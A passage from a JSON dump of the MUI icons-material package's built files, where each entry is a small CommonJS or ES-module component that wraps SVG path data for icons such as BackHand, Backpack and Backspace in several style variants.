    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 8v2h-3L8.31 8.82 7 12.75V22H3V12l1.58-4.63c.38-1.12 1.64-1.68 2.72-1.19l4.15 1.83zM8 1c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m1 18h12v-2H9zm10.5-3c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5M13 12c0-.55-.45-1-1-1H9v2h2v1c0 1.1.9 2 2 2h2c1.1 0 2-.9 2-2v-3h-2v2h-2z\"\n}), 'BabyChangingStationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackHand.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 24c-3.26 0-6.19-1.99-7.4-5.02l-3.03-7.61c-.31-.79.43-1.58 1.24-1.32l.79.26c.56.18 1.02.61 1.24 1.16L7.25 15H8V3.25C8 2.56 8.56 2 9.25 2s1.25.56 1.25 1.25V12h1V1.25c0-.69.56-1.25 1.25-1.25S14 .56 14 1.25V12h1V2.75c0-.69.56-1.25 1.25-1.25s1.25.56 1.25 1.25V12h1V5.75c0-.69.56-1.25 1.25-1.25S21 5.06 21 5.75V16c0 4.42-3.58 8-8 8\"\n}), 'BackHand');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackHand.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 24c-3.26 0-6.19-1.99-7.4-5.02l-3.03-7.61c-.31-.79.43-1.58 1.24-1.32l.79.26c.56.18 1.02.61 1.24 1.16L7.25 15H8V3.25C8 2.56 8.56 2 9.25 2s1.25.56 1.25 1.25V12h1V1.25c0-.69.56-1.25 1.25-1.25S14 .56 14 1.25V12h1V2.75c0-.69.56-1.25 1.25-1.25s1.25.56 1.25 1.25V12h1V5.75c0-.69.56-1.25 1.25-1.25S21 5.06 21 5.75V16c0 4.42-3.58 8-8 8\"\n}), 'BackHand');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackHandOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 7c0-1.38-1.12-2.5-2.5-2.5-.17 0-.34.02-.5.05V4c0-1.38-1.12-2.5-2.5-2.5-.23 0-.46.03-.67.09C14.46.66 13.56 0 12.5 0c-1.23 0-2.25.89-2.46 2.06Q9.785 2 9.5 2C8.12 2 7 3.12 7 4.5v5.89c-.34-.31-.76-.54-1.22-.66l-.77-.21c-.83-.23-1.7.09-2.19.83-.38.57-.4 1.31-.15 1.95l2.56 6.43C6.49 21.91 9.57 24 13 24c4.42 0 8-3.58 8-8zm-2 9c0 3.31-2.69 6-6 6-2.61 0-4.95-1.59-5.91-4.01l-2.6-6.54.53.14c.46.12.83.46 1 .9L7 15h2V4.5c0-.28.22-.5.5-.5s.5.22.5.5V12h2V2.5c0-.28.22-.5.5-.5s.5.22.5.5V12h2V4c0-.28.22-.5.5-.5s.5.22.5.5v8h2V7c0-.28.22-.5.5-.5s.5.22.5.5z\"\n}), 'BackHandOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackHandOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 7c0-1.38-1.12-2.5-2.5-2.5-.17 0-.34.02-.5.05V4c0-1.38-1.12-2.5-2.5-2.5-.23 0-.46.03-.67.09C14.46.66 13.56 0 12.5 0c-1.23 0-2.25.89-2.46 2.06Q9.785 2 9.5 2C8.12 2 7 3.12 7 4.5v5.89c-.34-.31-.76-.54-1.22-.66l-.77-.21c-.83-.23-1.7.09-2.19.83-.38.57-.4 1.31-.15 1.95l2.56 6.43C6.49 21.91 9.57 24 13 24c4.42 0 8-3.58 8-8zm-2 9c0 3.31-2.69 6-6 6-2.61 0-4.95-1.59-5.91-4.01l-2.6-6.54.53.14c.46.12.83.46 1 .9L7 15h2V4.5c0-.28.22-.5.5-.5s.5.22.5.5V12h2V2.5c0-.28.22-.5.5-.5s.5.22.5.5V12h2V4c0-.28.22-.5.5-.5s.5.22.5.5v8h2V7c0-.28.22-.5.5-.5s.5.22.5.5z\"\n}), 'BackHandOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackHandRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 16c0 4.42-3.58 8-8 8-3.26 0-6.19-1.99-7.4-5.02l-3.03-7.61c-.31-.79.43-1.58 1.24-1.32l.79.26c.56.18 1.02.61 1.24 1.16l1.28 3.21c.08.2.26.32.46.32H8V3.25C8 2.56 8.56 2 9.25 2s1.25.56 1.25 1.25v8.25c0 .28.22.5.5.5s.5-.22.5-.5V1.25c0-.69.56-1.25 1.25-1.25S14 .56 14 1.25V11.5c0 .28.22.5.5.5s.5-.22.5-.5V2.75c0-.69.56-1.25 1.25-1.25s1.25.56 1.25 1.25v8.75c0 .28.22.5.5.5s.5-.22.5-.5V5.75c0-.69.56-1.25 1.25-1.25S21 5.06 21 5.75z\"\n}), 'BackHandRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackHandRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 16c0 4.42-3.58 8-8 8-3.26 0-6.19-1.99-7.4-5.02l-3.03-7.61c-.31-.79.43-1.58 1.24-1.32l.79.26c.56.18 1.02.61 1.24 1.16l1.28 3.21c.08.2.26.32.46.32H8V3.25C8 2.56 8.56 2 9.25 2s1.25.56 1.25 1.25v8.25c0 .28.22.5.5.5s.5-.22.5-.5V1.25c0-.69.56-1.25 1.25-1.25S14 .56 14 1.25V11.5c0 .28.22.5.5.5s.5-.22.5-.5V2.75c0-.69.56-1.25 1.25-1.25s1.25.56 1.25 1.25v8.75c0 .28.22.5.5.5s.5-.22.5-.5V5.75c0-.69.56-1.25 1.25-1.25S21 5.06 21 5.75z\"\n}), 'BackHandRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackHandSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.21 10.47 5 9.36 7.25 15H8V2h2.5v10h1V0H14v12h1V1.5h2.5V12h1V4.5H21V16c0 4.42-3.58 8-8 8-3.26 0-6.19-1.99-7.4-5.02z\"\n}), 'BackHandSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackHandSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.21 10.47 5 9.36 7.25 15H8V2h2.5v10h1V0H14v12h1V1.5h2.5V12h1V4.5H21V16c0 4.42-3.58 8-8 8-3.26 0-6.19-1.99-7.4-5.02z\"\n}), 'BackHandSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackHandTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 16c0 3.31-2.69 6-6 6-2.61 0-4.95-1.59-5.91-4.01l-2.6-6.54.53.14c.46.12.83.46 1 .9L7 15h2V4.5c0-.28.22-.5.5-.5s.5.22.5.5V12h2V2.5c0-.28.22-.5.5-.5s.5.22.5.5V12h2V4c0-.28.22-.5.5-.5s.5.22.5.5v8h2V7c0-.28.22-.5.5-.5s.5.22.5.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 7c0-1.38-1.12-2.5-2.5-2.5-.17 0-.34.02-.5.05V4c0-1.38-1.12-2.5-2.5-2.5-.23 0-.46.03-.67.09C14.46.66 13.56 0 12.5 0c-1.23 0-2.25.89-2.46 2.06Q9.785 2 9.5 2C8.12 2 7 3.12 7 4.5v5.89c-.34-.31-.76-.54-1.22-.66l-.77-.21c-.83-.23-1.7.09-2.19.83-.38.57-.4 1.31-.15 1.95l2.56 6.43C6.49 21.91 9.57 24 13 24c4.42 0 8-3.58 8-8zm-2 9c0 3.31-2.69 6-6 6-2.61 0-4.95-1.59-5.91-4.01l-2.6-6.54.53.14c.46.12.83.46 1 .9L7 15h2V4.5c0-.28.22-.5.5-.5s.5.22.5.5V12h2V2.5c0-.28.22-.5.5-.5s.5.22.5.5V12h2V4c0-.28.22-.5.5-.5s.5.22.5.5v8h2V7c0-.28.22-.5.5-.5s.5.22.5.5z\"\n}, \"1\")], 'BackHandTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackHandTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 16c0 3.31-2.69 6-6 6-2.61 0-4.95-1.59-5.91-4.01l-2.6-6.54.53.14c.46.12.83.46 1 .9L7 15h2V4.5c0-.28.22-.5.5-.5s.5.22.5.5V12h2V2.5c0-.28.22-.5.5-.5s.5.22.5.5V12h2V4c0-.28.22-.5.5-.5s.5.22.5.5v8h2V7c0-.28.22-.5.5-.5s.5.22.5.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 7c0-1.38-1.12-2.5-2.5-2.5-.17 0-.34.02-.5.05V4c0-1.38-1.12-2.5-2.5-2.5-.23 0-.46.03-.67.09C14.46.66 13.56 0 12.5 0c-1.23 0-2.25.89-2.46 2.06Q9.785 2 9.5 2C8.12 2 7 3.12 7 4.5v5.89c-.34-.31-.76-.54-1.22-.66l-.77-.21c-.83-.23-1.7.09-2.19.83-.38.57-.4 1.31-.15 1.95l2.56 6.43C6.49 21.91 9.57 24 13 24c4.42 0 8-3.58 8-8zm-2 9c0 3.31-2.69 6-6 6-2.61 0-4.95-1.59-5.91-4.01l-2.6-6.54.53.14c.46.12.83.46 1 .9L7 15h2V4.5c0-.28.22-.5.5-.5s.5.22.5.5V12h2V2.5c0-.28.22-.5.5-.5s.5.22.5.5V12h2V4c0-.28.22-.5.5-.5s.5.22.5.5v8h2V7c0-.28.22-.5.5-.5s.5.22.5.5z\"\n}, \"1\")], 'BackHandTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Backpack.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8v12c0 1.1-.9 2-2 2H6c-1.1 0-2-.9-2-2V8c0-1.86 1.28-3.41 3-3.86V2h3v2h4V2h3v2.14c1.72.45 3 2 3 3.86M6 12v2h10v2h2v-4z\"\n}), 'Backpack');"
  },
  {
    "path": "packages/mui-icons-material/lib/Backpack.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8v12c0 1.1-.9 2-2 2H6c-1.1 0-2-.9-2-2V8c0-1.86 1.28-3.41 3-3.86V2h3v2h4V2h3v2.14c1.72.45 3 2 3 3.86M6 12v2h10v2h2v-4z\"\n}), 'Backpack');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackpackOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 4.14V2h-3v2h-4V2H7v2.14c-1.72.45-3 2-3 3.86v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8c0-1.86-1.28-3.41-3-3.86M18 20H6V8c0-1.1.9-2 2-2h8c1.1 0 2 .9 2 2zm-1.5-8v4h-2v-2h-7v-2z\"\n}), 'BackpackOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackpackOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 4.14V2h-3v2h-4V2H7v2.14c-1.72.45-3 2-3 3.86v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8c0-1.86-1.28-3.41-3-3.86M18 20H6V8c0-1.1.9-2 2-2h8c1.1 0 2 .9 2 2zm-1.5-8v4h-2v-2h-7v-2z\"\n}), 'BackpackOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackpackRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8v12c0 1.1-.9 2-2 2H6c-1.1 0-2-.9-2-2V8c0-1.86 1.28-3.41 3-3.86V3.5C7 2.67 7.67 2 8.5 2s1.5.67 1.5 1.5V4h4v-.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v.64c1.72.45 3 2 3 3.86M6 13c0 .55.45 1 1 1h9v1c0 .55.45 1 1 1s1-.45 1-1v-2c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1\"\n}), 'BackpackRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackpackRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8v12c0 1.1-.9 2-2 2H6c-1.1 0-2-.9-2-2V8c0-1.86 1.28-3.41 3-3.86V3.5C7 2.67 7.67 2 8.5 2s1.5.67 1.5 1.5V4h4v-.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5v.64c1.72.45 3 2 3 3.86M6 13c0 .55.45 1 1 1h9v1c0 .55.45 1 1 1s1-.45 1-1v-2c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1\"\n}), 'BackpackRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackpackSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8v14H4V8c0-1.86 1.28-3.41 3-3.86V2h3v2h4V2h3v2.14c1.72.45 3 2 3 3.86M6 12v2h10v2h2v-4z\"\n}), 'BackpackSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackpackSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8v14H4V8c0-1.86 1.28-3.41 3-3.86V2h3v2h4V2h3v2.14c1.72.45 3 2 3 3.86M6 12v2h10v2h2v-4z\"\n}), 'BackpackSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackpackTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 20H6V8c0-1.1.9-2 2-2h8c1.1 0 2 .9 2 2zM7.5 12v2h7v2h2v-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 4.14V2h-3v2h-4V2H7v2.14c-1.72.45-3 2-3 3.86v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8c0-1.86-1.28-3.41-3-3.86M18 20H6V8c0-1.1.9-2 2-2h8c1.1 0 2 .9 2 2zM7.5 12v2h7v2h2v-4z\"\n}, \"1\")], 'BackpackTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackpackTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 20H6V8c0-1.1.9-2 2-2h8c1.1 0 2 .9 2 2zM7.5 12v2h7v2h2v-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 4.14V2h-3v2h-4V2H7v2.14c-1.72.45-3 2-3 3.86v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8c0-1.86-1.28-3.41-3-3.86M18 20H6V8c0-1.1.9-2 2-2h8c1.1 0 2 .9 2 2zM7.5 12v2h7v2h2v-4z\"\n}, \"1\")], 'BackpackTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Backspace.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3H7c-.69 0-1.23.35-1.59.88L0 12l5.41 8.11c.36.53.9.89 1.59.89h15c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-3 12.59L17.59 17 14 13.41 10.41 17 9 15.59 12.59 12 9 8.41 10.41 7 14 10.59 17.59 7 19 8.41 15.41 12z\"\n}), 'Backspace');"
  },
  {
    "path": "packages/mui-icons-material/lib/Backspace.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3H7c-.69 0-1.23.35-1.59.88L0 12l5.41 8.11c.36.53.9.89 1.59.89h15c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-3 12.59L17.59 17 14 13.41 10.41 17 9 15.59 12.59 12 9 8.41 10.41 7 14 10.59 17.59 7 19 8.41 15.41 12z\"\n}), 'Backspace');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackspaceOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3H7c-.69 0-1.23.35-1.59.88L0 12l5.41 8.11c.36.53.9.89 1.59.89h15c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H7.07L2.4 12l4.66-7H22zm-11.59-2L14 13.41 17.59 17 19 15.59 15.41 12 19 8.41 17.59 7 14 10.59 10.41 7 9 8.41 12.59 12 9 15.59z\"\n}), 'BackspaceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackspaceOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3H7c-.69 0-1.23.35-1.59.88L0 12l5.41 8.11c.36.53.9.89 1.59.89h15c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H7.07L2.4 12l4.66-7H22zm-11.59-2L14 13.41 17.59 17 19 15.59 15.41 12 19 8.41 17.59 7 14 10.59 10.41 7 9 8.41 12.59 12 9 15.59z\"\n}), 'BackspaceOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackspaceRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3H7c-.69 0-1.23.35-1.59.88L.37 11.45c-.22.34-.22.77 0 1.11l5.04 7.56c.36.52.9.88 1.59.88h15c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-3.7 13.3c-.39.39-1.02.39-1.41 0L14 13.41l-2.89 2.89c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41L12.59 12 9.7 9.11a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0L14 10.59l2.89-2.89c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41L15.41 12l2.89 2.89c.38.38.38 1.02 0 1.41\"\n}), 'BackspaceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackspaceRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3H7c-.69 0-1.23.35-1.59.88L.37 11.45c-.22.34-.22.77 0 1.11l5.04 7.56c.36.52.9.88 1.59.88h15c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-3.7 13.3c-.39.39-1.02.39-1.41 0L14 13.41l-2.89 2.89c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41L12.59 12 9.7 9.11a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0L14 10.59l2.89-2.89c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41L15.41 12l2.89 2.89c.38.38.38 1.02 0 1.41\"\n}), 'BackspaceRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackspaceSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 3H6l-6 9 6 9h18zm-5 12.59L17.59 17 14 13.41 10.41 17 9 15.59 12.59 12 9 8.41 10.41 7 14 10.59 17.59 7 19 8.41 15.41 12z\"\n}), 'BackspaceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackspaceSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 3H6l-6 9 6 9h18zm-5 12.59L17.59 17 14 13.41 10.41 17 9 15.59 12.59 12 9 8.41 10.41 7 14 10.59 17.59 7 19 8.41 15.41 12z\"\n}), 'BackspaceSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackspaceTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.06 5 2.4 12l4.67 7H22V5zq.015 0 0 0M9 8.41 10.41 7 14 10.59 17.59 7 19 8.41 15.41 12 19 15.59 17.59 17 14 13.41 10.41 17 9 15.59 12.59 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3H7c-.69 0-1.23.35-1.59.88L0 12l5.41 8.11c.36.53.9.89 1.59.89h15c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H7.07L2.4 12l4.66-7H22zm-11.59-2L14 13.41 17.59 17 19 15.59 15.41 12 19 8.41 17.59 7 14 10.59 10.41 7 9 8.41 12.59 12 9 15.59z\"\n}, \"1\")], 'BackspaceTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BackspaceTwoTone.mjs",
